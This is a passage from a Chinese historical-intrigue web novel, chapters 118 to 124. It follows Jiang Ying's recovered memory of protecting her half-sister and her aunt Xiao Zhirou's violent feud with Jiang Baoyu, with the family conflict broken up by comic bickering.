姜珞是个顺杆儿往上爬的,见姜璎没有骂她,也没有打她,两只红肿猪蹄忍不住往上爬,搂着姐姐的细腰,露出傻兮兮的笑。
“嘿嘿,姐姐,嘿嘿,浓浓好想好想姐姐。”
“你……放手!”
跟个狗皮膏药似的,姜璎怎么也甩不开。
她又不好惹出大动静,要是让向氏知道告诉萧止柔,姜珞这张脸也别想要了。
姜璎警告道:“你既是被蒙鼓里,又已受罚,日后就不要再出现我跟姨母面前,我们各走各的……诶!”
姜珞疯狂摇头,“不要!不要!姐姐你生气就打我,我不怕疼的!”
她眼泪汪汪,止不住往下掉。
“我脑子不好使的,我做错事情,我对不起姐姐,我可以负荆请罪,可以受家法,再不行,再不行就砍掉我的手指头!我有十根手指,可以砍十次!姐姐原谅我,不要生气……”
“我不是你姐姐。”姜璎无奈道。
结果这句话惹来姜珞一整个爆哭。
她还知道不闹出动静,小声小声啜泣,眼泪如河流,打湿了姜璎的衣衫。
“是姐姐,姐姐最爱我……姐姐让我不要出声,好好活着……我有做到,姐姐、不能不要我。”
姜璎立在原地,脑子空白一片。
第119章 替身
像是打开了什么机关,尘封已久的记忆被切割成碎片,宛若雪花般纷涌而来。
那一年的暴雪持续了很久很久,前所未有。
无数百姓流离失所,秦州境内更是出现许多外地逃荒来的灾民。
“姐姐,今年真的没有灯会了嘛?”天真而黏糊的嗓音,粉扑扑的小脸蛋埋在姐姐怀里。
明明牛车宽敞能容纳十余人,但她偏要赖在姐姐身边。
再近一点,
再近一点……
姐姐的身上香香的。
姜珞露出心满意足的笑容。
伺候的仆婢欲言又止,但随着姑娘目光扫来,最终还是默默低下头,心里叹了口气。
一个庶妹而已,姑娘未免也太宽纵了。
“明年还会有的。”姜璎揉了揉怀里人的脸蛋,笑着安慰道。
素白清瘦的手腕轻轻挽起车帘一角,透过车窗,可以看见灾民们捧着粗瓦碗,虔诚无比地舔着每一粒稀粥。
这就是爹爹说的天灾吗?
她叹了口气。
“姐姐怎么了?”姜珞耳尖,听到这声叹息,立马抬起小脸蛋。
自从母亲过世,姜璎便一直消瘦,和怀里圆滚滚的小熊站在一起,旁人一时都分不清谁是姐姐,谁是妹妹。
“浓浓,你看他们——”姜璎让妹妹看外面。
“他们好脏!臭臭的。”姜珞皱了皱鼻子,不想再看。
姜璎这一回没有惯着她,家里是还有余粮,便是吃上一整年也足够了,但如今世道艰苦,庄子上也不可能日日都送来新鲜瓜果。
“你看他们在吃什么?”
“……粟米粥。”姜珞不情不愿地又看了一眼,撅了撅嘴道,“里面都是水。”
这种清汤寡水,有那么好吃吗?
“是啊。”姜璎认真道,“浓浓知道他们为什么吃得这么香吗?他们饿了好多天,恨不得吃树皮,啃树根,扒土塞嘴里。”
自丧妻之后,姜昀便将女儿带在身边亲自抚养,平日里再忙,也会抽出一个时辰陪伴女儿念书写字。
故而比起只知道吃喝玩乐的妹妹,姜璎懂得更多。
好在姜珞也不傻。
她小小地“啊”了一声,眨了眨眼,小肉手绞在一起,似乎有点心虚。
“那、那我以后乖乖吃饭,不浪费。”
姜璎笑了,亲了亲妹妹的脸蛋道:“浓浓真棒。这段日子,我们就不要闹着吃鸡汤青菜了,好不好?”
姜珞挑食得很,这个不吃那个不吃,便是简单的蔬菜,也要用高汤煨煮过,变得鲜香浓郁,才肯多吃两口。
姜璎可不想妹妹养成奢靡无度的坏习惯。
“我都听姐姐——啊!”话未说完,牛车发生碰撞,仆婢们急急忙忙护住姜璎。
外头响起刀剑摩擦相撞的声音,听得人心惊胆战,面色发白。
不能再待在牛车里了,仆婢抱起姑娘,在部曲的护送下迅速逃离现场。
“姜昀的女儿!抓到老子重重有赏!”闷雷般的吼叫声。
一阵天旋地转。
姜璎摔在地上。
“姐姐!”
姜珞已经哭了起来,她像只小豚被人提在半空,“这肯定是姜昀的嫡女!穿得这么好,吃的也好,草他·娘的!”
天水姜氏的部曲拼死相护,姜璎身边还有前梁皇室留下的暗卫,混乱中,她接住了妹妹,在一众人的保护下躲进了一间早就没了主人的房屋。
“我去引开他们!”
“保护好小主人!”
“实在不行,就把她……”目光落在姜珞身上,她害怕又惶恐,瑟缩着身子往姐姐怀里躲。
“不行!”姜璎道。
“小主人,贵主和郎君早就说过,她本就是您的替身,如今危机时刻——”
劝说声被外头的动静打断。
随着暗卫等人的离开,姜璎慢慢捏紧了手心。
“姐姐、姐姐我疼……”姜珞哭道,被捂住了嘴,她眼神茫然不解,只见姐姐脸上是前所未有的严厉。
“不许哭!从现在开始,一点声音都不许发出!”
“我……”
姜璎把这只小笨猪塞进了储藏粮食的地窖。
“姐姐,姐姐别不要我!”姜珞惶恐不安,抓住了姜璎的手。
“没有不要你。”她摸了摸妹妹被掐出红痕的脸蛋,
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尽可能温柔道,“浓浓,外面很危险,你躲在里面,不要出声,乖乖的,知道吗?”
“姐姐会回来接你的。”她保证道。
“可是……”
“没有可是!”
姜珞被凶得缩了缩脑袋,委屈巴巴,“那、那姐姐快一点来接我。”
姜璎点了点头,把为数不多的干草铺在地上。
她才刚满四岁,做完这一切,几乎精疲力尽。
“浓浓,你不是替身。”低低的声音,姜珞听不清楚,她只听见最后那句。
“要好好活下去。”
姜昀和萧晞把女儿培养的太好了。
在她三岁以前,甚至没有让她见识过一点人世间的阴暗面。
所以哪怕姜璎知道,姜珞只是父母为了保护她而准备的替身,她也还是做不到将她推出去送死。
君子行义,不为莫知而止休。
姜璎起身往外走。
她听到了脚步声。
“我才是天水姜氏的嫡女。”她对为首的人道,看上去冷静而稳重,“你们想拿我换什么?金银珠宝,还是粮油米面?我爹爹都会答应的。”
流民的头领没有杀她。
“你母亲是前梁皇室的遗孤!我不仅要粮食,还要兵马!要你父亲助我起义!”
“这皇位,高家人坐得,难道我们就坐不得吗?!”
威迫的声音逐渐远去。
头痛。
头好痛……
“姐姐!姐姐你怎么了?”姜珞紧紧抱着姜璎,想要喊人。
“不要出声。”低弱的声音响起。
姜璎捂着脑袋,呼吸急促而困难。
不知道过了多久,视野才开始慢慢恢复正常。
最先入目的就是姜珞哭红了的猫眼。
她长叹一口气,“二姨娘到底教了你什么,怎么感觉比小时候还要笨?”
不过爱哭这点,倒是一点儿也没变。
姜珞眨了眨眼睛,“姐姐?姐姐你想起我了吗?”
“没有。”姜璎板起脸。
“啊……”姜珞哭哭脸。
白芨进来时就看见这一幕,“姑娘,老爷过来……了,呃?”
发生了什么?
第120章 威胁
姜昀过来,一是想趁机见见宝贝女儿,二是准备向萧止柔解释当年的事情。
结果话还没说,就先挨了个大嘴巴子。
啪的清脆一声,俊颜顿时浮起巴掌印。
“你还有脸出现在我面前?给我滚!”萧止柔怒气冲冲。
“阿薇,我们有话好好说……”陆宣赶来劝架,也挨了一巴掌。
萧止柔骂道:“你也给我滚!”
陆宣:“……好嘞。”
他捂着脸,临走前还不忘仗义地把姜昀给带上。
阿薇打得好痛!
他还想靠脸吃饭,这一巴掌起码损失五年青春!
“姜明昭,你是不是故意的?饿急眼了,非要挑这个时间点来吃巴掌?自己吃就算了,还连累我!”陆宣忿忿不平,自从阿池找回来以后,他都很久没挨阿薇打了。
当然,闺房之乐不算哈。
姜璎也捂着脸,闷闷叹了口气:“我是来跟阿薇解释当年的事。”
谁知道这丫头的脾气不仅没有改善半分,反而比年轻时候还恶劣。
连个说话机会也不给。
萧止柔一点儿也没留情,姜璎脸上五指分明,陆宣嘴角都红了。
这对连襟齐齐叹了口气。
内心不约而同地想:
“这还怎么见人呐?”
“这还怎么见阿池?”
陆宣召来侍从,让他去打听女君动怒的原因。
侍从很快回来,“女君派人把姜珞和姜宝瑜带来,才从帐篷出来,看样子是去见姜宝瑜了。”
“没打姜珞?”
“姜珞现在和阿池在一块?”
两人异口同声。
姜昀嫌弃地看了一眼妹夫,就这么见不得别人好。
陆宣无语,他才不是那种人好吧。
“女君原本让向氏掌嘴,但被姑娘拦了下来。”侍从一五一十道。
陆宣摸了摸下巴,感叹道:“阿池真是太容易心软了。”
姜昀微微皱眉,不知道想到了什么,沉沉叹了口气。
是啊,太容易心软了。
和她大父简直一模一样。
“既然阿薇在忙,那……”姜昀话没说完,就被陆宣打断。
“姜明昭,姐夫,我喊你姐夫,你别害我了成不?”陆宣苦着脸道,“让阿薇知道我带你去见阿池,到时候别说吃巴掌,我都要成下堂夫了!”
姜昀:“……你能不能有点出息?”
还下堂夫。
陆宣捧着脸,“你不懂。”
怕媳妇总比没媳妇强。
这话有点刺激人,毕竟萧晞已经过世了,从某种意义上来说,姜昀就是个鳏夫。
陆宣也不好意思在鳏夫面前炫耀自己有媳妇,那也太不是个东西了。
“这样吧,我派人去知会一声,要是阿池愿意见你,那就再好不过。”陆宣道,“要是不愿意,你也别强求。”
强求没结果,还得挨巴掌。
陆宣到现在嘴角还疼着。
他摸了摸,忍不住倒吸一口凉气。
再看姜昀,竟然一点儿也不在意。
“你就准备顶着这张脸,去见阿池?”陆宣一脸不可思议。
姜昀瞥他一眼,“你懂什么。”
女儿心软,指不定看见他脸上巴掌印就心疼老父亲了。
陆宣:“……”
这个诡计多端的男人!
阿薇就该把他打成个猪头!
另一边,萧止柔进了关押姜宝瑜的帐篷,让人上去就是几巴掌。
“我还没找你算账,你倒先威胁起我来了?”
她冷笑一声,“继续打。”
两个婆子轮流扇姜宝瑜耳光,很快,她的脸就变得血肉模糊。
蜈蚣一样的疤痕爬在脸上,新鲜出炉的鞭痕贯穿面中,血才凝固,又遭掌掴。
姜宝瑜尖声道:“梁氏!你就不怕我把你的所作所为告诉姜璎吗?!”
“我的所作所为?”萧止柔笑起来,“好啊,你倒是说说,我都做了什么。”
婆子停下掌掴,垂首站到一边。
姜宝瑜脸颊火辣辣的疼,连带着脑子也开始胀痛,她不肯服软认输,冷笑着道:“你以为你那点伎俩真能瞒住别人一辈子?当初陆府设宴,不止我想害姜璎,你也想害她,对吧!”
萧止柔面色微变。
姜宝瑜哈哈大笑,果然啊果然!让她猜对了!
“你不知道姜璎是你的外甥女,说明你恨的人不是姜璎,而是卫国公府!”
她一字一句道:“你给永安侯府下帖子,其实是为了借刀杀人,让卫国公府颜面无存!”
啪——!
一巴掌打得姜宝瑜栽倒在地,嘴角渗血。
萧止柔胸口不断起伏,一双美目死死盯着姜宝瑜,杀意顿显。
“女君。”身边仆婢心疼捧着主子的手,都打红了。
“我说错了吗?没有吧?”姜宝瑜被打以后反而笑得更高兴。
“你不就是想让你的宝贝外甥女被我阿兄睡烂吗?最好挑起卫国公府的矛盾,让所有人都知道,赵咎娶得不仅是个孤女,还是破鞋!”
姜宝瑜冷冷一笑。
她现在才反应过来,如果当初没有萧止柔的帮助默许,她怎么可能轻轻松松就把姜承祁带到内院?
“还有王氏,听说有段时间她身子不好,也是你的功劳吧?你唆使王二夫人对大房的女儿下手,好将世子夫人的位置取而代之!”
“姜璎知道她的姨母,是这种蛇蝎歹毒的人吗?哈哈哈哈哈哈哈哈!”
在这得意洋洋的笑声里,萧止柔眼神逐渐阴冷。
仆婢们面色发白,“女君。”绝不能走漏半点消息,否则姜璎一旦知道,后果不堪设想!
“想杀了我?没门!”姜宝瑜冷笑道,“我要是出事,我阿娘、还有身边的下人,都会把你做的事情宣扬出去!哪怕没有证据,我也绝不会让你好过!”
萧止柔这个贱人!明明是她安排的宴席,明明是她在背后推动一切!
她却倒打一耙,不仅害得永安侯府声名扫地,还迫使她离开盛京!
萧止柔自己倒是做起了温柔善良的姨母。
姜宝瑜抑制不住冷笑。
就算她也是现在发现这些,但她赌萧止柔不敢冒险杀她!
她不是在乎姜璎吗?
她就不信,要是姜璎知道,王氏险些小产是萧止柔所为,她们之间还会情同母女!
“梁氏,你做的肯定不止这些吧?你说,卫国公府要是知道,会不会调查出更多东西?你——啊!”
凄厉的惨叫响起。
姜宝瑜的手掌被踩在脚下,碾了又碾。
十指连心,她几乎要疼昏过去。
“你也配威胁我?”萧止柔嘴角噙着一抹冷笑,“刘氏,她一个贱婢之女,还会为了你赌上整个永安侯府来跟我作对?”
“你真是看得起自己。”
“我阿娘不敢,我还有后手……”姜宝瑜气若游丝,仍旧不肯服输。
萧止柔心中杀意愈浓。
就在这时,仆婢进来道:“女君,赵九郎过来了。”
“让他滚!”
“他要见您,说……能帮您处理姜宝瑜。”
第121章 下场
赵咎才坐下没多久,就得知萧止柔派人去“请”姜珞,不出意料,姜宝瑜肯定也跑不掉。
但赵咎怎么可能让她就这样轻而易举死去?
他扔下一句话,“有点事,我处理完就回来。”起身准备离开。
明惠帝忍不住道:“这垫子都没坐热,又走了。”
刑如风立马阴阳怪气跟上:“国舅爷这一天天的可真忙,想跟您品盏茶的功夫都没有。”
明惠帝捧着茶,唉声叹气:“谁让某些人没本事呢,到现在都还没把小娘子娶进门,可不得抢着表现?”
刑如风煽风点火:“要不做上门女婿得了!反正卫国公儿子多,分一个出去正好!”
两人一唱一和,越说越来劲。
赵咎“啧”了一声,“干脆给你俩搭个戏台子得了!再放两只破碗,凭你俩这本事,估计这一天下来能赚不少。”
“陛下,此乃大不敬啊!”刑如风反应很快,明戳戳地上眼药。
治罪!
赶紧的,治大罪!打他板子!
明惠帝摸了摸鼻子,“看我做什么?大不敬就大不敬吧,反正我也打不过他。”
刑如风:“……哼。”
废物!
大大的废物!
“怎么,你打得过?”明惠帝斜睨一眼。
刑如风立马改口:“算了算了,他还是个孩子,童言无忌!不跟他一般见识。”
把能屈能伸演绎了个淋漓尽致。
赵咎:“……”
一群神经病。
真不想承认和他们有关系。
赵咎赶到及时,至少姜宝瑜还没死。
但萧止柔的面色就不大好看了,一双美目落在赵咎身上,好似淬了毒一般,阴冷得让人遍体生寒。
“怎么,你还想效仿舜帝,坐拥娥皇女英?”
“您说笑了。”赵咎看也没看地上的姜宝瑜一眼,凭她也配和阿池相提并论?
“我请姨母留她一命,不过是为了……”
话未说完,就遭到萧止柔劈头盖脸一顿怒骂。
“谁是你姨母?!给我睁开你的狗眼好好看清楚,少一张嘴就上来攀亲戚,我跟你们赵家没有半文钱的关系!更没有你这种道貌岸然的外甥!”
赵咎礼貌纠正:“是外甥女婿。”
萧止柔冷笑一声,“你也配?”
赵咎微微一笑,没有丝毫被激怒的迹象,“配不配,不是姨母说了算的。”
“我过来是为要事,从始至终都客客气气,恭敬有礼,倒是姨母,如此失态,恐怕有损风度吧?”
“我还轮不到你来指手画脚!”萧止柔骂道,道貌岸然的贱人,和姜昀简直就是一路货色!
姜昀:“……”
他犯天条了?
“姨母说话还是注意些罢。”赵咎淡淡道,“我敬你是长辈,才客气三分。要是没有阿池那层关系,就姨母做的那些事……”
他顿了顿,嘴角轻扯。
“恐怕陆侍郎也不见得能保住你。”
萧止柔冷冷看着他,好啊,一个两个,都敢来威胁他。
“我做了什么事儿?你有证据吗?没有,就闭上你的嘴,少在这搬弄是非!”
以萧止柔的筹谋算计,自然不可能落下任何把柄。
哪怕赵咎清楚,王二夫人母女被送到庄子上后,萧止柔暗中一直在接济她们。
可仅凭这一点,压根说明不了什么。萧止柔大可以解释说自己从前同王二夫人有几分交情,只要没有切实证据,谁能奈何得了她?
赵咎冷冷道:“你真的以为阿池什么都不知道吗?”
提到姜璎,萧止柔瞳孔一缩,心跳骤停,身上的戾气也顿时消失得无影无踪。
“我听不懂你在说什么。”她别过脸,语气生硬,袖中的手慢慢捏紧。
阿池……
是阿姊留下的唯一骨肉,她们萧家最后的血脉。
她可以在陆宣面前毫不掩饰自己的恶毒专横,可阿池……萧止柔做不到让外甥女看见这不堪的一面。
“你听得懂。”赵咎淡淡道,看似心平气和,实则一字一句如针尖般扎在萧止柔心上。
“阿池视我大嫂如母,一向敬重孺慕,便是我,也要退一射之地。”
“如果有人告诉她,你险些害死我大嫂——”
赵咎贴心停顿,没有继续下去。
他一开始发现这个事实,也心里不痛快,觉得自己做的不比王氏少,姜璎凭什么更亲近大嫂?
但后面,他渐渐明白了。
在永安侯府的那些年里,姜璎一直渴望亲情而不得,或许是潜意识里还残留着母亲给予的爱和温暖,所以哪怕被伤得体无完肤,她也依旧巴望着、巴望着,希望能有人如刘氏一般疼她护她。
王氏的出现,在很大程度上满足了姜璎的内心需求。
她想要一个母亲,一个如想象中那样端庄温柔,耐心细致的母亲。
这一点,王氏完全符合。
年轻俊美的郎君并未让姜璎动心,反而王氏端庄而不失强势的维护,令她不由自主地靠近。
“你没有告诉阿池身世,说明你并不希望她背负上一辈的恩怨。”
这句话令萧止柔霍然抬眸。
她眼神藏着浓浓怨毒,“你有什么资格说这话?”
既得利者,哪来的脸出现在她面前!
“如果不是赵堰,我阿父阿母不会殉国!阿池不会失去外祖父,外祖母,她应该是如珠似玉的郡主!享封地食邑,千金之躯!”
赵咎沉默片刻,道:“我不知道父亲当年做了什么,但我知道,他保下了广陵公主和你的性命。”
萧止柔哈哈大笑,讥讽道:“这么说来,我还要对赵堰感恩戴德?”
太·祖皇帝杀光了萧家所有人,连宗室幼子那点儿血脉都没放过。
却唯独放过了广陵公主和萧止柔两个女孩儿。
要说其中没有赵堰的出力,是不可能的。
赵堰或许死都没想到,一时的心软,竟然给卫国公府带来了莫大的灾祸。
上辈子卫国公府死的死,残的残,几乎分崩离析,就连他……也死在战场。
想必萧止柔筹谋了很久。
除了她以外,肯定还有其他人在这重重算计下推波助澜,搅乱浑水。
毕竟谁不知道,太·祖皇帝这皇位来路不正?
赵咎瞥了一眼地上的姜宝瑜,她面色惨白一片,脸上血泪交织,又滚着大颗大颗的汗珠。
知道了这么多的秘密,萧止柔肯定不会让她继续活着!
“来人,把她绞死扔后山悬崖!”果不其然,萧止柔眼底一闪而过厉色。
“不、不……”姜宝瑜惶恐至极。
“她还不能死。”
这句话可谓是沙漠中的甘霖,姜宝瑜几乎痛哭流涕,瘫软在地。
她庆幸得太早了。
赵咎轻笑道:“当初她引诱常六,害他坠马断腿,就是知道将军府会以婚事胁迫。所以她顺理成章把姜璎推了出去。”
“你说,要是姜璎被迫嫁给常六,常家人会怎么对她?”
自然是百般折磨。
随着姜宝瑜在浓重的压迫感下不受控制地流出泪水,赵咎终于说出他来的目的。
“折断十指,毒哑嗓子,再把你送到常六身边,他估计要对我感恩戴德吧?”
“对了,你说常六要是知道他变成瘸子,是你一手设计,后果会怎么样?”
赵咎脸上露出愉悦的笑容。
笑容与憎恶交织,宛若扭曲恶鬼。
姜宝瑜疯狂摇头,不、不——!她会死的,她肯定会死的!
阿娘,阿娘你在哪儿?
快救我……
救我啊!
泪水爬过脸颊,火辣辣的刺痛已经不值得她在意。
在未知的恐惧面前,就连伤痛都成了微不足道的小事。
第122章 心梗
姜宝瑜被归南带了下去。
至于父辈的纠葛恩怨,这个话题就如昙花一现,不管面上表现的多么厌恶憎恨,可只要踏出这间帐篷,赵咎和萧止柔便会一致默契地自觉掩盖一切。
“你还不滚?”萧止柔目光阴沉。
“不滚。”赵咎露出一个“腼腆”的笑容,“我要去找阿池告状。”
话音落地,他一个箭步冲了过去。
记性好没办法。
一下子就找到了姜璎待的帐篷。
“阿池!姨母说我配不上你!”他“哭唧唧”道。
要是赵恪看见,估计还要惊掉下巴。
小叔臭不要脸!学他装可怜!
这明明是他的独门绝技!
帐篷里响起东西翻倒的声音,慌里慌张的,“你……等会儿再进来!”
赵咎掀帘子的动作一顿,眼神顿时危险起来。
“阿池,你在干什么?”
萧止柔不会偷偷摸摸派狐狸精勾引他媳妇吧?
姜璎忍不住懊恼,就不该在姜珞的撒泼打滚下松动,姜昀面色也不好看,他好不容易进来见女儿一面,话都没说两句!
这个赵咎!
“使君稍等片刻,我先引来他,您再出去……”姜璎道。
“阿池。”姜昀深吸一口气,额角狂跳,“我是你父亲,他——”
“他是姐夫啊!”姜珞立马道,她坚决维护姐姐不动摇,甚至开始劝说姜昀,“阿父,你还是先躲起来吧,别让姐姐为难!”
要知道,梁女君可凶了呢!
姜昀:“……”
这丫头到底是哪边儿的?怎么一点眼力见都没有?
“赵咎,你怎么过来了?”姜璎走出去时,还特意用清瘦的背脊把掀起的缝隙挡得严严实实,她拉着赵咎的手,试图带他走远点。
结果没拉动。
姜璎结巴起来,“怎、怎么了?”
赵咎面无表情,“里面是不是有人?”
姜璎在亲近的人面前压根不会说谎,眼神顿时飘忽不定,“是,姜珞……姨母让人把她带过来……”
“让我看看。”
“等一下!”姜璎一把拦住他掀帐篷的手,心跳险些停止,她眼一闭,直接上去紧紧抱着他的腰。
“你刚才是不是说,姨母嫌弃你?没关系的,我不嫌弃!我觉得配得上!赵咎,你别难过,我陪你去外面走走,好不好?”
“……”赵咎胸口烧着火,认真道,“我再问一遍,里面藏了谁?是不是男人?”
你怎么知道?!
姜璎眼眸睁圆,险些话都说不利索。
她没有承认,但答案全都写在脸上。
赵咎抿紧唇瓣,冷笑一声。
“你不要生气,不是你想的那样……”姜璎有些手足无措,像被抓包的小媳妇。
赵咎只能安慰自己,这不能怪阿池,她肯定也没想到帐篷里会出现个男的……不行!他还是生气!
“你为什么不把他赶出去?”赵咎咬住后槽牙,什么狐狸精比他还会勾引人?就算色衰而爱弛,那他也还没衰呢!
“我、我现在让他走。”姜璎以为他知道了自己和姜昀私下见面,在这方面,赵咎和萧止柔的态度可以说是如出一辙。
两人对姜昀严防死守,生怕姜璎跟亲爹跑了。
姜璎小声解释道,“我们俩都没说上话……”
赵咎恼怒不已:“你还准备和他说什么?!他是有我好看,还是比我年轻?”
姜璎连忙道:“你年轻,肯定是你年轻。”
赵咎破防了:“你刚才是不是在迟疑?我比他年轻,但不如他好看?行、好,让他给我滚出来!”
尾音落地,辗转间磨出戾气。
哗啦——!
一巴掌挥开帐帘。
同样修长俊美的男子走出来,面若寒霜,一双丹凤眼蕴含怒火,沉沉看着赵咎。
“怎么,你要同我比脸?”
“……”
周围陷入一片死寂。
姜珞狗狗祟祟地挪到姐姐身边,试图撇清干系,“我已经劝说阿父了,但是他不听我的,姐姐……”
姜昀冷笑一声,“方才的声音不是很大吗?我现在出来了,不知道赵九郎有何赐教?”
赵咎干巴巴道:“……误会。”
都是误会啊!
他还以为是哪个野男人,骚狐狸,萧止柔派来专门勾引阿池的。
谁知道是未来岳父啊。
这不大水冲了龙王庙,自家人不认识自家人了吗?
姜璎眨了眨眼睛,后知后觉才反应过来。
赵咎……是把姜昀当作其他男人了?
“姜使君,他不是有意冒犯您的。”姜璎心里郁闷,但还是上前维护心上人,“赵咎只是一时误会了,并没有要对您不敬的意思。”
姜昀梗了一下:“……”
老父亲心碎一地。
没有什么比女儿维护外面的臭小子更让人生气的事情了!
如果有,那就是——
“姜明昭!”萧止柔怒声道。
这一个两个,竟然敢当着她的脸来找阿池!
姜昀眉心一跳,脸上的巴掌印还没消下去,阿薇总不至于当着阿池的面再给他来一下吧?
至于陆宣。
他站在萧止柔身边,儒雅的俊颜满是惊讶,“姜昀,你到我陆家做什么?”
装的要多无辜有多无辜。
姜昀:“……”
阿衡不在,一个两个的都开始欺负他这个鳏夫。
萧止柔怒气冲冲,赵咎自觉躲到了姜璎身后。
这个狐媚作派顿时激怒了萧止柔,她强忍着赏赵咎大耳刮子的冲动,冷冷看向姜昀。
“谁让你过来的?”
害死了阿姊,弄丢了阿池,还敢一而再再而三出现她面前!
“阿薇,你消消气……”陆宣小声道,“阿池还看着呢。”
姜昀神情淡然,“我来见我的女儿,有什么不可以?”
当着阿池的面,给他留点面子!
要不然,他真的会生气的!
回去就抱着阿蘅的牌位告状!
“你的女儿?好啊,你带回去吧。”萧止柔笑了一声,目光如刀,落在姜珞身上。
“你们天水姜氏的嫡女,可是金贵得很,难为姜使君眼巴巴赶过来,生怕我对她做什么。”说到最后轻蔑一笑。
姜昀:“……”
阿蘅,你快醒来管管你妹妹!
这个阴阳怪气的劲儿,真不知道陆宣这么多年是怎么熬过来的!
第123章 姐妹
陆宣表示乐在其中。
不过为了你好我好大家好,他还是象征性地劝了一下妻子,低声道:“阿薇,这到底是阿池的生父。”
为了姜璎日后长远着想,总不能真把姜昀得罪死了。天水姜氏的名头,有时候还是很有用的。
“姨母?”姜璎见萧止柔神色不对,毫不犹豫走到她身边。
一大一小两个挂件立马跟上。
“阿池。”
“姐姐!”
萧止柔看见这两张脸就忍不住一股无名火,干脆眼不见为净,“阿池,你今日也累了,去好好歇着吧。”她对外甥女依旧是柔声细语,“等回去以后,就要安心备嫁了。”
备嫁。
赵咎神情雀跃,姜璎面露羞涩,姜昀则是直接黑了脸。
好不容易找回女儿,竟然要眼睁睁看着她嫁人。
这跟在姜昀心上捅刀子有什么区别?
“阿池……”姜昀才一开口,就迅速反应过来这是萧止柔故意说给他听的。
她是想借他的手阻止这门亲事!
姜昀在心里暗骂一声,迅速改口道:“既是要嫁人,自然不能没有嫁妆,爹爹这就派人去天水老家,把给你准备的嫁妆运过来。”
还爹爹,萧止柔冷笑一声,“阿池什么时候认你了?”
“认不认,都改变不了我们父女关系的事实。”姜昀温声道。
“那我先回去休息了……”姜璎夹在中间,左右为难,只好走为上策。
长辈之间的事情,还是让长辈们自己处理吧。
赵咎清咳一声,“那晚辈也先告退了。”
好死不死得罪了未来岳父。
他还是有多快跑多快吧。
“姐姐、姐姐等等我!”姜珞再傻也能感觉出现场气氛不对,萧止柔的眼神要是能变成实质,她估计已经被刀成一片片了。
她忙不迭追上姜璎。
“没皮没脸的东……”萧止柔神情恼怒。
“阿薇。”
姜昀叹了口气,对这个表妹实在是无奈至极。
萧止柔不仅是萧晞的妹妹,也是他的表妹,“当年的事情,不是你所想的那样。阿薇,我们坐下好好谈谈。”
他从袖中取出一个手指大小的竹筒。
“这是阿蘅留给你的信,我这次一并带来了。”
“信……”萧止柔一把夺过竹筒,随即恶狠狠看向姜昀,“你开始为什么不说!”
姜昀:“……?”
她上来就是一巴掌,也没给他说话的机会啊!
萧止柔拆开封口,倒出存放了许久、早已泛黄陈旧的纸张,她小心翼翼抚平边缘,入目是熟悉无比的字迹。
【吾妹阿薇】
萧止柔眼眶一热,险些落下泪来。
萧晞是父母的第一个孩子,身为嫡长女,她可以说是集万千宠爱于一身,出生便赐封邑广陵,梁帝时常带着她上朝,对人笑称“此乃吾家凤凰儿”。
晞有破晓之意,在当时大梁外忧内乱的环境下,梁帝为女儿取此名,也能由此看出他的雄心壮志。
梁帝甚至私下与妻子说,等女儿长大,就让她做辅国长公主,一人之下万人之上!
然而,世事难料。
变故到来的那一刻,梁帝甚至来不及再看女儿最后一眼。
萧晞被匆匆送往天水姜氏,萧止柔在啜泣中与阿姊分离,成了王老夫人的养女。
无忧无虑的童年宛若水中倒影。
轻而易举就被摧毁。
萧止柔和阿姊见面的机会不多,但萧晞一直惦记着妹妹,父母离去之后,她们便是彼此的全部。
萧止柔的第一位女师,就是萧晞请来的。
她为这个敏感而好胜的妹妹操碎了心,除了行教养之责的女师和傅母外,又安排了聪明伶俐、忠心耿耿的下人好生伺候。
丰厚的资产被一分为二,一半送给王家作谢礼,一半则精心打理留给萧止柔当嫁妆。
梁帝把所有的一切都给了嫡长女。
财帛、心腹,和忠心耿耿的属官。
能给的都给了。
但萧晞没忘了妹妹。
她寄住在王家,又占了王老夫人养女的名头,若还吃他们的用他们的,长久以往难免遭人嫌弃。
萧晞只要活着,就是妹妹的底气靠山。
哪怕她快死了,也会给萧止柔安排好一切。
这也是为什么,萧止柔多年不孕,吴郡陆氏也毫无怨言的原因。
信上密密麻麻的小字,十句有九句都在叮嘱萧止柔,凡事三思而后行,前梁已灭,莫要再耿耿于怀,伤人伤己。
作为一个姐姐,她只希望萧止柔夫妻恩爱,儿女双全。
信中甚至没有提到姜璎。
姜璎是天水姜氏的女儿,无论如何,姜昀都不会亏待了她。
但是妹妹,她的妹妹啊……
殷殷叮嘱到最后,只剩下一声叹息。
萧止柔泣不成声。
“阿薇。”陆宣轻轻搂住了妻子的肩膀。
姜昀叹了口气。
姜珞的出生,从一开始就是为了姜璎而准备的。
紫菀是萧晞身边的忠仆,若不是萧晞连着夭折两个儿子,伤了身体,生下姜璎后再也不能生育,她也不会成为姜昀的妾室。
因为这件事,萧晞还跟丈夫大吵一架。
姜昀不需要儿子,可她的阿石需要一个弟弟!
过继来的侄儿再亲,还能亲过自己的手足同胞?
不说别的,萧晞至少自信紫菀生下的孩子一定会亲近女儿。
阿石要是受了委屈,她的阿弟会替她出头,但隔房的堂弟可就不一定了!
夫妻俩冷战两日,第三日的时候,姜昀实在熬不住了,半夜偷偷摸摸翻窗,吃了一记枕头。
后面自然而然妥协。
但没想到的是,紫菀生了个女儿。
姜昀难得强势一回,“等阿石长大,就让她招婿!”没有儿子,他就培养孙子,让孙子照顾他女儿。
父母之爱子,为之计深远。
姜昀和萧晞为了掌上明珠可谓是深谋远虑,他们连给女儿的替身都准备好了,唯独没想到,姜璎会主动把生的机会留给替身。
其实在那种情况下,她就算把姜珞推出去,也没什么大用处。
那个小笨猪,只知道哭哭啼啼喊姐姐。
就像现在。
“姐姐,我可不可以跟你一起睡呀?”姜珞跟块黏糕似的,黏在姜璎身边,还不忘举起红肿的爪子装可怜。
“阿父打得好疼,姐姐吹吹。”
“……”姜璎瞥她一眼,敷衍地吹了口气。
姜珞立马嘿嘿傻笑,甜腻腻拍马屁:“姐姐真好,马上就不疼了诶!”
姜璎还在想姜宝瑜,赵咎要是把人直接带走,刘氏会疯吧?
到时候可别整出些乱七八糟的事儿……
第124章 警告
“夫君,阿宝不见了!”
刘氏紧紧抓着永安侯的衣服,哭得上气不接下气,“阿宝,我们的阿宝……浮叶说,她被天水姜氏的人给带走了,到现在都没有回来!”
永安侯皱了皱眉,眼底一闪而过厌烦,不知道是针对妻子还是针对女儿。
“她不是一直都跟姜珞同进同出吗?有什么好稀奇的。”
“阿宝没有跟姜珞在一起!”刘氏激动起来,双手因为用力而浮现青筋,她去找阿宝的时候,还被姜珞身边的仆婢狠狠羞辱了一通,后面才知道姜宝瑜先后落到了萧止柔和赵咎手中。
